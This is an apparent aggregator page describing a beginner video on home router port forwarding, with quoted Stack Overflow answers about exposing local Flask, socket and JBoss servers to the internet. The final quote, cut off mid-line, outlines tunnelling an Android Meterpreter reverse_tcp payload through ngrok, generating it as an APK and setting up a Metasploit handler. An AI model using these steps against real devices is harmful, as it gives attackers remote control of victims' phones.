Beginners Guide to Port Forwarding
Why Stack Overflow recommends it
Stack Overflow users link it when answering why a locally hosted app or socket server works on the home network but not from the internet, as a simple walkthrough of router port forwarding.
Recommended by 3 people across 3 different months, 2019 to 2022.
What it is
A 5 minute beginner tutorial from the Tinkernut channel on setting up port forwarding on a home router so a server (such as a WordPress site) is reachable from outside your local network. It is a follow up to the channel's web server video and points to dynamic DNS, router password and port reference sites.
What people said
Recommends Keval · 2019-04 · Stack Overflow · on “Change host from 127.0.0.1 to my ip JBoss EAP”
Your application will still run on the local machine but you should be able to access it via your IP if you correctly port forward your router. This video [this video] explains how portforwarding works.
Recommends docmurloc · 2021-03 · Stack Overflow · on “Android app does not connect via socket.io”
Change localhost in your android by the public IP of your router. Do a port forwarding from your router to your server. Check that your server has the port where you do your forwarding is open. This video video [this video] give more explanation.
Recommends Shashankh_ · 2022-02 · Stack Overflow · on “How to connect a "client" socket on any network in the world to my "socket server"”
You are using a local ip which allows people connected only to your router connect. So you need to use your public ip address. (Click Here to check your IP) [LINK] Open a port in your router. for example: 1234 . Dont know how? See this [LINK] video. Want to learn about it? See this [this video] video. Once you do that, change the port in your code to the port you opened on the router page. and then change the ip in the client code to your public ip. Now your friend should be able to connect to your server. (also you need to have static ip and not dynamic ip)
Cites Dries · 2020-06 · Stack Overflow · on “How do I make a Flask app available for my friends through port-forwarding?”
So I created a simple Flask app to automate certain calculations we often have to do in math class. I'm now trying to let my friends use it too but I can't get the local port forwarding right. When I run the app I can access it from my local network but not from outside of it. (I tested that by trying to reach the web app through my phone on mobile data, and it doesn't respond.) I'm aware that ssh tunnelling is probably a better way to do this, but I still want to figure out what I'm doing wrong here. I am very new to this and used this video as a reference: [this video] . Here's a brief summary of the things I already tried: I changed app.run() to app.run(host='0.0.0.0',port=5000) to make Flask
Cites Yusuf · 2021-08 · Stack Overflow · on “Metasploit opens Meterpreter, but the shell is unresponsive”
If your phone and computer are not on the same network, you need to port forward to your modem. This is necessary to forward the incoming ip address from the modem to its own ip. You can also do this from the interface settings of the modem. you can see it here [this video] 2 - you can use tunnel services e.g. ngrok [LINK] very simple to use open an account download for linux copy token open ngrok directory in terminal paste token ./ngrok tcp 4242 tunnel opened [LINK] (burayı kapatma) sample payloads android/meterpreter/reverse_tcp lhost=0.tcp.ngrok.io lport=11620 R > /root/FileName.apk (lport opened tunnel will also be given to you) then msfconsole settings use exploit/multi/handler set PAYLOAD